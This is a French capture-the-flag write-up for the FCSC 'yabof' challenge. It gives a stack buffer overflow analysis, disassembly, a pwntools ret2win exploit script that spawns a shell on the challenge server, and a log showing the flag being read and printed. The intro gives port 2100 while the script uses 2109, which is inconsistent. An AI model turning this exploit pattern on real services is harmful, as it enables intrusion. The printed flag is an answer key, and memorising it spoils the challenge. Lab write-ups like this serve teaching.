Yabof

Dans ce challenge, nous devons exploiter un Buffer Overflow sur le binaire yabof qui tourne sur la machine distante nc chall.fcsc.fr 2100.

Analyse du binaire

Le binaire yabof est un exécutable ELF 64 bits, non-PIE, avec NX activé, sans canary, et partiellement RELRO. Il est vulnérable à un buffer overflow simple.

$ checksec --file=yabof
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

Nous avons une fonction main() qui appelle une fonction vuln().

La fonction vuln() :

  • Affiche le prompt :
puts("Do you want to get a drink (y/N)");
  • Lit dans un buffer de 8 octets :
scanf("%s", buf)

C'est ici que l'on a un overflow

  • Si l'utilisateur répond 'y', le message est affiché

En désassemblant :

0x401146 <yabof>:
  mov edx,0
  mov esi,0
  lea rax,[rip+0xead]   ; "/bin/sh"
  mov rdi,rax
  call execve@plt
  ret

Il y a un execve("/bin/sh", NULL, NULL) pour obtenir un shell.

Exploit

  • Overflow du buffer avec 16 octets (8 pour le buffer + 8 pour saved RBP)
  • Overwrite du RIP avec l’adresse de yabof (0x401146)
  • Retour automatique dans yabof → shell

Script d’exploit (pwntools)

#!/usr/bin/env python3
from pwn import remote, p64

host, port = 'chall.fcsc.fr', 2109
io = remote(host, port)

# 1) Attendre le prompt
io.recvuntil(b'(y/N)')

# 2) Construire le payload
offset = 16
ret    = 0x401146
payload = b'A' * offset + p64(ret)

# 3) Envoyer et passer en interactive
io.sendline(payload)
io.interactive()

Étapes détaillées

  • Offset : pattern create 100, crash, pattern offset ... → 16.
  • Adresse yabof :
objdump -d yabof | grep -A1 "<yabof>:"
  • Test :
pip install pwntools
python3 exploit.py
[+] Opening connection to chall.fcsc.fr on port 2109: Done
[*] Switching to interactive mode
?
$ ls
flag.txt
yabof
$ cat flag.txt
FCSC{e5352ecae8f1ad7f0e7b4225c1fb975e9cfebfac482c2b4a9dd25661a0e49296}
$  

Le flag est donc :

FCSC{e5352ecae8f1ad7f0e7b4225c1fb975e9cfebfac482c2b4a9dd25661a0e49296}